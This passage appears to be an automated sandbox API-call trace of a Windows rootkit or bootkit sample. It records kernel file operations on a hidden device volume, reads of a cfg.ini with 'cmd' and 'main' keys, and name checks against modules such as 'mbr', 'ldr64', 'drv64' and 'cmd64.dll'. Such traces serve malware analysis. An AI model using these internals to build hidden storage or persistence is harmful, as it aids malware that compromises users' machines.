IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.770] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] KeLeaveCriticalRegion () [0122.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.770] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.770] KeEnterCriticalRegion () [0122.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] ExFreePoolWithTag (P=0xfffffa8003be7e10, Tag=0x0) [0122.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] KeLeaveCriticalRegion () [0122.770] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.770] ReleaseMutex (hMutex=0xf0) returned 1 [0122.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.770] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.770] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.770] KeEnterCriticalRegion () [0122.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.770] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.770] IdePortDispatch () returned 0x103 [0122.771] KeWaitForMutexObject () returned 0x0 [0122.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.771] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.771] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.771] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.771] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.771] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6b00 [0122.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.771] KeLeaveCriticalRegion () [0122.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.771] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.771] KeEnterCriticalRegion () [0122.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.771] KeLeaveCriticalRegion () [0122.771] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.771] KeEnterCriticalRegion () [0122.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.771] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.771] IdePortDispatch () returned 0x103 [0122.771] KeWaitForMutexObject () returned 0x0 [0122.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.771] KeLeaveCriticalRegion () [0122.771] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.771] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.772] KeEnterCriticalRegion () [0122.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1f000 [0122.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.772] IdePortDispatch () returned 0x103 [0122.772] KeWaitForMutexObject () returned 0x0 [0122.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.772] IdePortDispatch () returned 0x103 [0122.772] KeWaitForMutexObject () returned 0x0 [0122.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.772] KeLeaveCriticalRegion () [0122.772] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.773] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.773] KeEnterCriticalRegion () [0122.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] KeLeaveCriticalRegion () [0122.773] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.773] KeEnterCriticalRegion () [0122.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.773] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7b20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] KeLeaveCriticalRegion () [0122.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.773] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.773] KeEnterCriticalRegion () [0122.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] ExFreePoolWithTag (P=0xfffffa8003be6b00, Tag=0x0) [0122.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] KeLeaveCriticalRegion () [0122.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.773] ReleaseMutex (hMutex=0xf0) returned 1 [0122.773] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.773] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.773] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.773] KeEnterCriticalRegion () [0122.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.773] IdePortDispatch () returned 0x103 [0122.773] KeWaitForMutexObject () returned 0x0 [0122.774] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.774] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.774] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.774] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.774] KeLeaveCriticalRegion () [0122.774] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.774] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.774] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.774] KeEnterCriticalRegion () [0122.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.774] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.774] IdePortDispatch () returned 0x103 [0122.774] KeWaitForMutexObject () returned 0x0 [0122.774] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.774] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.774] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.774] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.774] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.774] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.774] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.775] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.775] KeLeaveCriticalRegion () [0122.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.775] ReleaseMutex (hMutex=0x100) returned 1 [0122.775] Sleep (dwMilliseconds=0x2bf20) [0122.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c61fe70, dwHighDateTime=0x1d24fa4)) [0122.781] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.781] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.781] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.781] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.781] KeEnterCriticalRegion () [0122.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.781] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.781] IdePortDispatch () returned 0x103 [0122.781] KeWaitForMutexObject () returned 0x0 [0122.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.781] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.781] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.782] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be68b0 [0122.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] KeLeaveCriticalRegion () [0122.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.782] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.782] KeEnterCriticalRegion () [0122.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] KeLeaveCriticalRegion () [0122.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.782] KeEnterCriticalRegion () [0122.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.782] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.782] IdePortDispatch () returned 0x103 [0122.782] KeWaitForMutexObject () returned 0x0 [0122.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] KeLeaveCriticalRegion () [0122.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.782] KeEnterCriticalRegion () [0122.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d22000 [0122.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.782] IdePortDispatch () returned 0x103 [0122.783] KeWaitForMutexObject () returned 0x0 [0122.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.783] IdePortDispatch () returned 0x103 [0122.783] KeWaitForMutexObject () returned 0x0 [0122.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.783] KeLeaveCriticalRegion () [0122.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.783] KeEnterCriticalRegion () [0122.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.783] KeLeaveCriticalRegion () [0122.784] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.784] KeEnterCriticalRegion () [0122.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.784] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] KeLeaveCriticalRegion () [0122.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.784] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.784] KeEnterCriticalRegion () [0122.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] ExFreePoolWithTag (P=0xfffffa8003be68b0, Tag=0x0) [0122.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] KeLeaveCriticalRegion () [0122.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.784] ReleaseMutex (hMutex=0xf0) returned 1 [0122.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.784] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.784] KeEnterCriticalRegion () [0122.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.784] IdePortDispatch () returned 0x103 [0122.784] KeWaitForMutexObject () returned 0x0 [0122.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.784] KeLeaveCriticalRegion () [0122.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.785] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.785] KeEnterCriticalRegion () [0122.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.785] KeLeaveCriticalRegion () [0122.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.785] KeEnterCriticalRegion () [0122.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.785] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.785] IdePortDispatch () returned 0x103 [0122.785] KeWaitForMutexObject () returned 0x0 [0122.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.785] ExReleaseFastMutexUnsafe (in: 